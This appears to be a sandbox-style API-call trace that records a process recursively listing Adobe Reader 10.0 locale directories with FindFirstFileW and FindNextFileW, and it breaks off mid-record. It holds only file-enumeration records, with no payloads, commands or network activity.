FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl_NL", cAlternateFileName="")) returned 1 [0148.189] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\*", lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0148.189] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.189] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.NLD", cAlternateFileName="ACCESS~1.NLD")) returned 1 [0148.190] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Services\\*", lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191700 [0148.190] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.190] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x924e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0148.190] FindClose (in: hFindFile=0x4191700 | out: hFindFile=0x4191700) returned 1 [0148.190] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42adf70 | out: hHeap=0x300000) returned 1 [0148.190] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.NLD", cAlternateFileName="")) returned 1 [0148.191] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0148.191] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x424cf18 | out: hHeap=0x300000) returned 1 [0148.191] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl_PL", cAlternateFileName="")) returned 1 [0148.191] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\*", lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0148.191] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.191] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.POL", cAlternateFileName="ACCESS~1.POL")) returned 1 [0148.192] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Services\\*", lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191700 [0148.192] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.192] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x94c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0148.192] FindClose (in: hFindFile=0x4191700 | out: hFindFile=0x4191700) returned 1 [0148.192] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42adf70 | out: hHeap=0x300000) returned 1 [0148.192] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.POL", cAlternateFileName="")) returned 1 [0148.193] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0148.193] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x424cf18 | out: hHeap=0x300000) returned 1 [0148.193] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1 [0148.193] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\*", lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0148.193] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.193] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.PTB", cAlternateFileName="ACCESS~1.PTB")) returned 1 [0148.194] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services\\*", lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191700 [0148.194] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.194] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8fab, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0148.194] FindClose (in: hFindFile=0x4191700 | out: hFindFile=0x4191700) returned 1 [0148.194] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42adf70 | out: hHeap=0x300000) returned 1 [0148.194] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.PTB", cAlternateFileName="")) returned 1 [0148.194] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0148.194] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x424cf18 | out: hHeap=0x300000) returned 1 [0148.194] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro_RO", cAlternateFileName="")) returned 1 [0148.195] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\*", lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0148.195] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.195] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.RUM", cAlternateFileName="ACCESS~1.RUM")) returned 1 [0148.196] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Services\\*", lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191700 [0148.196] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.196] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x93a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0148.196] FindClose (in: hFindFile=0x4191700 | out: hFindFile=0x4191700) returned 1 [0148.196] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42adf70 | out: hHeap=0x300000) returned 1 [0148.196] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.RUM", cAlternateFileName="")) returned 1 [0148.196] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0148.196] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x424cf18 | out: hHeap=0x300000) returned 1 [0148.196] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru_RU", cAlternateFileName="")) returned 1 [0148.196] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\*", lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0148.197] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.197] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.RUS", cAlternateFileName="ACCESS~1.RUS")) returned 1 [0148.198] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Services\\*", lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191700 [0148.198] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.198] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb6ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0148.198] FindClose (in: hFindFile=0x4191700 | out: hFindFile=0x4191700) returned 1 [0148.198] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42adf70 | out: hHeap=0x300000) returned 1 [0148.198] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.RUS", cAlternateFileName="")) returned 1 [0148.198] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0148.198] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x424cf18 | out: hHeap=0x300000) returned 1 [0148.198] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk_SK", cAlternateFileName="")) returned 1 [0148.198] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\*", lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0148.198] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, 